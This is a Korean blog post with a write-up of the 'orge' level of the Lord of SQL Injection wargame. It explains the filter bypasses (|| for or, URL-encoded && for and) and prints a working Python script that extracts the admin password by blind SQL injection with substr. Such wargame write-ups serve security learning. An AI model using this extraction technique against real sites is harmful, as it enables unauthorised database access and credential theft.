본문 바로가기
보안/웹

los orge

by laoching 2022. 3. 24.
728x90
반응형

 

blind sqlinjection입니다.

_, ., \가 나오면 No Hack ~_~

(), or, and가 나오면 HeHe가 나옵니다.

 

injection에 평소에 사용하던 것들 중 ' 는 사용이 가능합니다.

or과 and는 대체 자원을 찾아야 하는데요, 이 친구들은 ||와 &&로 사용이 가능합니다.

 

대충 때려보니까 id도 변경해줘야함을 느꼈습니다.

근데 and는 &&로 해보니까 안되더라구요... 이상합니다..

&& 이후로는 짤려버리는 그런상황

혹시 몰라서 url 인코딩해서 넣어봤습니다. (& -> %26)

Hello admin이 나옵니다. 이를 이용해 blind sql injection exploit을 작성해줍시다.

 

먼저 pw의 길이는 length로 이용해서 알아냈습니다.

length(pw)=8을 했더니 Hello admin이 나오네요.

id가 admin인 녀석의 pw를 알아내야 하기 때문에 id='admin' 이후의 것들은 and로 묶어줍니다.

그 다음 pw는 substr이나 mid로 알아내었습니다.

import requests as req
pwd=""
cookies = {'PHPSESSID':'여러분의 세션 아이디'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
for i in range(1,9):
    for j in string:
        url = f"https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='|| substr(pw,{i},1)='{j}' -- "
        res = req.get(url=url, cookies=cookies)
        if 'Hello admin' in res.text:
            pwd += j

print(pwd)

쿼리의 순서입니다. 

= -> and -> or 입니다.

이 쿼리를 실행하면 guest가 나옵니다. 1=1처럼 무조건 참이 되는 조건식을 테이블의 속성 값 지정 없이 넣으면 구문을 실행하고 있는 테이블의 최상위 값을 가져오는 것으로 알고 있습니다.

prob_orge 테이블의 최상위 값은 guest에 대한 값이군요..!!

 

 

또 아래 쿼리를 실행 시켜 보았습니다.

admin이 나오네요. 이것은 pw 속성의 길이가 8인 id를 뽑아줍니다. id가 admin이라고 나오니 admin의 pw는 8자리임을 알 수 있습니다.

그럼 guest도 한 번 확인해봅니다. 17자리라고 합니다.

728x90
반응형

'보안 > ' 카테고리의 다른 글

los darknight  (0) 2022.03.24
los golem  (0) 2022.03.24
los orc (lord of sqlinjection 4번)  (0) 2022.03.22
HTTP Method  (0) 2022.02.01
textarea사용하기  (0) 2015.02.15

댓글